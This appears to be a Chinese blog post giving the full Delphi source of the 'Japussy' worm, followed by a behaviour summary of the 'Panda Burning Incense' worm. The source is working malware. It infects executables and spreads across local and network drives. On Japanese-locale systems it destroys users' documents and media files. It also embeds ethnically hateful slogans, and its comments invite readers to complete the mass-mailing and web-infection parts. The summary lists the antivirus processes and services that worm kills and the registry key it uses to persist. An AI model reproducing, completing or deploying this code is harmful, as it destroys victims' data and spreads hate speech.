program%20Japussy;
uses
Windows,%20SysUtils,%20Classes,%20Graphics,%20ShellAPI{,%20Registry};
const
HeaderSize%20=%2082432;%20//病毒体的大小
IconOffset%20=%20$12EB8;%20//PE文件主图标的偏移量
//在我的Delphi5%20SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize%20=%2038912;%20//Upx压缩过病毒体的大小
IconOffset%20=%20$92BC;%20//Upx压缩过PE文件主图标的偏移量
//Upx%201.24W%20用法:%20upx%20-9%20--8086%20Japussy.exe
}
IconSize%20=%20$2E8;%20//PE文件主图标的大小--744字节
IconTail%20=%20IconOffset%20+%20IconSize;%20//PE文件主图标的尾部
ID%20=%20$44444444;%20//感染标记
//垃圾码，以备写入
Catchword%20=%20''''''''''''''''If%20a%20race%20need%20to%20be%20killed%20out,%20it%20must%20be%20Yamato.%20''''''''''''''''%20+
%20''''''''''''''''If%20a%20country%20need%20to%20be%20destroyed,%20it%20must%20be%20Japan!%20''''''''''''''''%20+
%20''''''''''''''''***%20W32.Japussy.Worm.A%20***'''''''''''''''';
{$R%20*.RES}
function%20RegisterServiceProcess(dwProcessID,%20dwType:%20Integer):%20Integer;
stdcall;%20external%20''''''''''''''''Kernel32.dll'''''''''''''''';%20//函数声明
var
TmpFile:%20string;
Si:%20STARTUPINFO;
Pi:%20PROCESS_INFORMATION;
IsJap:%20Boolean%20=%20False;%20//日文操作系统标记
{%20判断是否为Win9x%20}
function%20IsWin9x:%20Boolean;
var
Ver:%20TOSVersionInfo;
begin
Result%20:=%20False;
Ver.dwOSVersionInfoSize%20:=%20SizeOf(TOSVersionInfo);
if%20not%20GetVersionEx(Ver)%20then
%20Exit;
if%20(Ver.dwPlatformID%20=%20VER_PLATFORM_WIN32_WINDOWS)%20then%20//Win9x
%20Result%20:=%20True;
end;
{%20在流之间复制%20}
procedure%20CopyStream(Src:%20TStream;%20sStartPos:%20Integer;%20Dst:%20TStream;
dStartPos:%20Integer;%20Count:%20Integer);
var
sCurPos,%20dCurPos:%20Integer;
begin
sCurPos%20:=%20Src.Position;
dCurPos%20:=%20Dst.Position;
Src.Seek(sStartPos,%200);
Dst.Seek(dStartPos,%200);
Dst.CopyFrom(Src,%20Count);
Src.Seek(sCurPos,%200);
Dst.Seek(dCurPos,%200);
end;
{%20将宿主文件从已感染的PE文件中分离出来，以备使用%20}
procedure%20ExtractFile(FileName:%20string);
var
sStream,%20dStream:%20TFileStream;
begin
try
%20sStream%20:=%20TFileStream.Create(ParamStr(0),%20fmOpenRead%20or%20fmShareDenyNone);
try
%20dStream%20:=%20TFileStream.Create(FileName,%20fmCreate);
%20try
%20sStream.Seek(HeaderSize,%200);%20//跳过头部的病毒部分
%20dStream.CopyFrom(sStream,%20sStream.Size%20-%20HeaderSize);
%20finally
%20dStream.Free;
%20end;
%20finally
%20sStream.Free;
%20end;
except
end;
end;
{%20填充STARTUPINFO结构%20}
procedure%20FillStartupInfo(var%20Si:%20STARTUPINFO;%20State:%20Word);
begin
Si.cb%20:=%20SizeOf(Si);
Si.lpReserved%20:=%20nil;
Si.lpDesktop%20:=%20nil;
Si.lpTitle%20:=%20nil;
Si.dwFlags%20:=%20STARTF_USESHOWWINDOW;
Si.wShowWindow%20:=%20State;
Si.cbReserved2%20:=%200;
Si.lpReserved2%20:=%20nil;
end;
{%20发带毒邮件%20}
procedure%20SendMail;
begin
//哪位仁兄愿意完成之？
end;
{%20感染PE文件%20}
procedure%20InfectOneFile(FileName:%20string);
var
HdrStream,%20SrcStream:%20TFileStream;
IcoStream,%20DstStream:%20TMemoryStream;
iID:%20LongInt;
aIcon:%20TIcon;
Infected,%20IsPE:%20Boolean;
i:%20Integer;
Buf:%20array[0..1]%20of%20Char;
begin
try%20//出错则文件正在被使用，退出
%20if%20CompareText(FileName,%20''''''''''''''''JAPUSSY.EXE'''''''''''''''')%20=%200%20then%20//是自己则不感染
%20Exit;
%20Infected%20:=%20False;
%20IsPE%20:=%20False;
%20SrcStream%20:=%20TFileStream.Create(FileName,%20fmOpenRead);
%20try
%20for%20i%20:=%200%20to%20$108%20do%20//检查PE文件头
%20begin
%20SrcStream.Seek(i,%20soFromBeginning);
%20SrcStream.Read(Buf,%202);
%20if%20(Buf[0]%20=%20#80)%20and%20(Buf[1]%20=%20#69)%20then%20//PE标记
%20begin
%20IsPE%20:=%20True;%20//是PE文件
%20Break;
%20end;
%20end;
%20SrcStream.Seek(-4,%20soFromEnd);%20//检查感染标记
%20SrcStream.Read(iID,%204);
%20if%20(iID%20=%20ID)%20or%20(SrcStream.Size%20<%2010240)%20then%20//太小的文件不感染
%20Infected%20:=%20True;
%20finally
%20SrcStream.Free;
end;
%20if%20Infected%20or%20(not%20IsPE)%20then%20//如果感染过了或不是PE文件则退出
%20Exit;
%20IcoStream%20:=%20TMemoryStream.Create;
%20DstStream%20:=%20TMemoryStream.Create;
%20try
%20aIcon%20:=%20TIcon.Create;
%20try
%20//得到被感染文件的主图标(744字节)，存入流
%20aIcon.ReleaseHandle;
%20aIcon.Handle%20:=%20ExtractIcon(HInstance,%20PChar(FileName),%200);
%20aIcon.SaveToStream(IcoStream);
%20finally
%20aIcon.Free;
%20end;
%20SrcStream%20:=%20TFileStream.Create(FileName,%20fmOpenRead);
%20//头文件
%20HdrStream%20:=%20TFileStream.Create(ParamStr(0),%20fmOpenRead%20or%20fmShareDenyNone);
%20try
%20//写入病毒体主图标之前的数据
%20CopyStream(HdrStream,%200,%20DstStream,%200,%20IconOffset);
%20//写入目前程序的主图标
%20CopyStream(IcoStream,%2022,%20DstStream,%20IconOffset,%20IconSize);
%20//写入病毒体主图标到病毒体尾部之间的数据
%20CopyStream(HdrStream,%20IconTail,%20DstStream,%20IconTail,%20HeaderSize%20-%20IconTail);
%20//写入宿主程序
%20CopyStream(SrcStream,%200,%20DstStream,%20HeaderSize,%20SrcStream.Size);
%20//写入已感染的标记
%20DstStream.Seek(0,%202);
%20iID%20:=%20$44444444;
%20DstStream.Write(iID,%204);
%20finally
%20HdrStream.Free;
%20end;
%20finally
%20SrcStream.Free;
%20IcoStream.Free;
%20DstStream.SaveToFile(FileName);%20//替换宿主文件
%20DstStream.Free;
%20end;
except;
end;
end;
{%20将目标文件写入垃圾码后删除%20}
procedure%20SmashFile(FileName:%20string);
var
FileHandle:%20Integer;
i,%20Size,%20Mass,%20Max,%20Len:%20Integer;
begin
try
%20SetFileAttributes(PChar(FileName),%200);%20//去掉只读属性
%20FileHandle%20:=%20FileOpen(FileName,%20fmOpenWrite);%20//打开文件
%20try
%20Size%20:=%20GetFileSize(FileHandle,%20nil);%20//文件大小
%20i%20:=%200;
%20Randomize;
%20Max%20:=%20Random(15);%20//写入垃圾码的随机次数
%20if%20Max%20<%205%20then
%20Max%20:=%205;
%20Mass%20:=%20Size%20div%20Max;%20//每个间隔块的大小
%20Len%20:=%20Length(Catchword);
%20while%20i%20<%20Max%20do
%20begin
%20FileSeek(FileHandle,%20i%20*%20Mass,%200);%20//定位
%20//写入垃圾码，将文件彻底破坏掉
%20FileWrite(FileHandle,%20Catchword,%20Len);
%20Inc(i);
%20end;
%20finally
%20FileClose(FileHandle);%20//关闭文件
%20end;
%20DeleteFile(PChar(FileName));%20//删除之
except
end;
end;
{%20获得可写的驱动器列表%20}
function%20GetDrives:%20string;
var
DiskType:%20Word;
D:%20Char;
Str:%20string;
i:%20Integer;
begin
for%20i%20:=%200%20to%2025%20do%20//遍历26个字母
begin
%20D%20:=%20Chr(i%20+%2065);
%20Str%20:=%20D%20+%20'''''''''''''''':\'''''''''''''''';
%20DiskType%20:=%20GetDriveType(PChar(Str));
%20//得到本地磁盘和网络盘
%20if%20(DiskType%20=%20DRIVE_FIXED)%20or%20(DiskType%20=%20DRIVE_REMOTE)%20then
%20Result%20:=%20Result%20+%20D;
end;
end;
{%20遍历目录，感染和摧毁文件%20}
procedure%20LoopFiles(Path,%20Mask:%20string);
var
i,%20Count:%20Integer;
Fn,%20Ext:%20string;
SubDir:%20TStrings;
SearchRec:%20TSearchRec;
Msg:%20TMsg;
function%20IsValidDir(SearchRec:%20TSearchRec):%20Integer;
begin
%20if%20(SearchRec.Attr%20<>%2016)%20and%20(SearchRec.Name%20<>%20''''''''''''''''.'''''''''''''''')%20and
%20(SearchRec.Name%20<>%20''''''''''''''''..'''''''''''''''')%20then
%20Result%20:=%200%20//不是目录
%20else%20if%20(SearchRec.Attr%20=%2016)%20and%20(SearchRec.Name%20<>%20''''''''''''''''.'''''''''''''''')%20and
%20(SearchRec.Name%20<>%20''''''''''''''''..'''''''''''''''')%20then
%20Result%20:=%201%20//不是根目录
%20else%20Result%20:=%202;%20//是根目录
end;
begin
if%20(FindFirst(Path%20+%20Mask,%20faAnyFile,%20SearchRec)%20=%200)%20then
begin
%20repeat
%20PeekMessage(Msg,%200,%200,%200,%20PM_REMOVE);%20//调整消息队列，避免引起怀疑
%20if%20IsValidDir(SearchRec)%20=%200%20then
%20begin
%20Fn%20:=%20Path%20+%20SearchRec.Name;
%20Ext%20:=%20UpperCase(ExtractFileExt(Fn));
%20if%20(Ext%20=%20''''''''''''''''.EXE'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.SCR'''''''''''''''')%20then
%20begin
%20InfectOneFile(Fn);%20//感染可执行文件%20
%20end
%20else%20if%20(Ext%20=%20''''''''''''''''.HTM'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.HTML'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.ASP'''''''''''''''')%20then
%20begin
%20//感染HTML和ASP文件，将Base64编码后的病毒写入
%20//感染浏览此网页的所有用户
%20//哪位大兄弟愿意完成之？
%20end
%20else%20if%20Ext%20=%20''''''''''''''''.WAB''''''''''''''''%20then%20//Outlook地址簿文件
%20begin
%20//获取Outlook邮件地址
%20end
%20else%20if%20Ext%20=%20''''''''''''''''.ADC''''''''''''''''%20then%20//Foxmail地址自动完成文件
%20begin
%20//获取Foxmail邮件地址
%20end
%20else%20if%20Ext%20=%20''''''''''''''''IND''''''''''''''''%20then%20//Foxmail地址簿文件
%20begin
%20//获取Foxmail邮件地址
end
%20else
%20begin
%20if%20IsJap%20then%20//是倭文操作系统
%20begin
%20if%20(Ext%20=%20''''''''''''''''.DOC'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.XLS'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.MDB'''''''''''''''')%20or
%20(Ext%20=%20''''''''''''''''.MP3'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.RM'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.RA'''''''''''''''')%20or
%20(Ext%20=%20''''''''''''''''.WMA'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.ZIP'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.RAR'''''''''''''''')%20or
%20(Ext%20=%20''''''''''''''''.MPEG'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.ASF'''''''''''''''')%20or%20(Ext%20=%20''''''''''''''''.JPG'''''''''''''''') or
 (Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or
 (Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then
 SmashFile(Fn); //摧毁文件
 end;
 end;
 end;
 //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
 Sleep(200);
 until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) then
begin
 repeat
 if IsValidDir(SearchRec) = 1 then
 SubDir.Add(SearchRec.Name);
 until (FindNext(SearchRec) <> 0);
 end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
 LoopFiles(Path + SubDir.Strings + ''''''''''''''''\'''''''''''''''', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
 IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
 for i := Len downto 1 do //遍历每个磁盘驱动器
 LoopFiles(DriverList + '''''''''''''''':\'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之
 SendMail; //发带毒邮件
 Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
 RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
 //远程线程映射到Explorer进程
 //哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then
 InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
 TmpFile := ParamStr(0); //创建临时文件
 Delete(TmpFile, Length(TmpFile) - 4, 4);
 TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主文件，多一个空格
 ExtractFile(TmpFile); //分离之
 FillStartupInfo(Si, SW_SHOWDEFAULT);
 CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
 0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运行之
 InfectFiles; //感染和发邮件
end;
end.
 

原理

“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，该文件是一系统备份工具GHOST的备份文件，使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

1:拷贝文件

病毒运行后,会把自己拷贝到C:\WINDOWS\System32\Drivers\spoclsv.exe

2:添加注册表自启动

病毒会添加自启动项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe

3:病毒行为

a:每隔1秒寻找桌面窗口,并关闭窗口标题中含有以下字符的程序：

QQKav、QQAV、防火墙、进程、VirusScan、网镖、杀毒、毒霸、瑞星、江民、黄山IE、超级兔子、优化大师、木马克星、木马清道夫、QQ病毒、注册表编辑器、系统配置实用程序、卡巴斯基反病毒、Symantec AntiVirus、Duba、esteem proces、绿鹰PC、密码防盗、噬菌体、木马辅助查找器、System Safety Monitor、Wrapped gift Killer、Winsock Expert、游戏木马检测大师、msctls_statusbar32、pjf(ustc)、IceSword

并使用的键盘映射的方法关闭安全软件IceSword

添加注册表使自己自启动 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe

并中止系统中以下的进程:

Mcshield.exe、VsTskMgr.exe、naPrdMgr.exe、UpdaterUI.exe、TBMon.exe、scan32.exe、Ravmond.exe、CCenter.exe、RavTask.exe、Rav.exe、Ravmon.exe、RavmonD.exe、RavStub.exe、KVXP.kxp、kvMonXP.kxp、KVCenter.kxp、KVSrvXP.exe、KRegEx.exe、UIHost.exe、TrojDie.kxp、FrogAgent.exe、Logo1_.exe、Logo_1.exe、Rundl132.exe

b:每隔18秒点击病毒作者指定的网页,并用命令行检查系统中是否存在共享，共存在的话就运行net share命令关闭admin$共享

c:每隔10秒下载病毒作者指定的文件,并用命令行检查系统中是否存在共享，共存在的话就运行net share命令关闭admin$共享

d:每隔6秒删除安全软件在注册表中的键值

并修改以下值不显示隐藏文件 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue -> 0x00

删除以下服务:

navapsvc、wscsvc、KPfwSvc、SNDSrvc、ccProxy、ccEvtMgr、ccSetMgr、SPBBCSvc、Symantec Core LC、NPFMntor MskService、FireSvc

e:感染文件

病毒会感染扩展名为exe,pif,com,src的文件,把自己附加到文件的头部，并在扩展名为htm,html, asp,php,jsp,aspx的文件中添加一网址，用户一但打开了该文件，IE就会不断的在后台点击写入的网址，达到增加点击量的目的,但病毒不会感染以下文件夹名中的文件：

WINDOW、Winnt、System Volume Information、Recycled、Windows NT、WindowsUpdate、Windows Media Player、Outlook Express、Internet Explorer、NetMeeting、Common Files、ComPlus Applications、Messenger、InstallShield Installation Information、MSN、Microsoft Frontpage、Movie Maker、MSN Gamin Zone

g:删除文件

病毒会删除扩展名为gho的文件，该文件是一系统备份工具GHOST的备份文件使用户的系统备份文件丢失

写在最后

喜欢此篇文章或觉得这篇文章对你有帮助的读者可以点播关注或者转发，私信小编001即可获得小编自己整理的一份2018最新的C/C++资料和0基础入门教程，欢迎初学和进阶中的小伙伴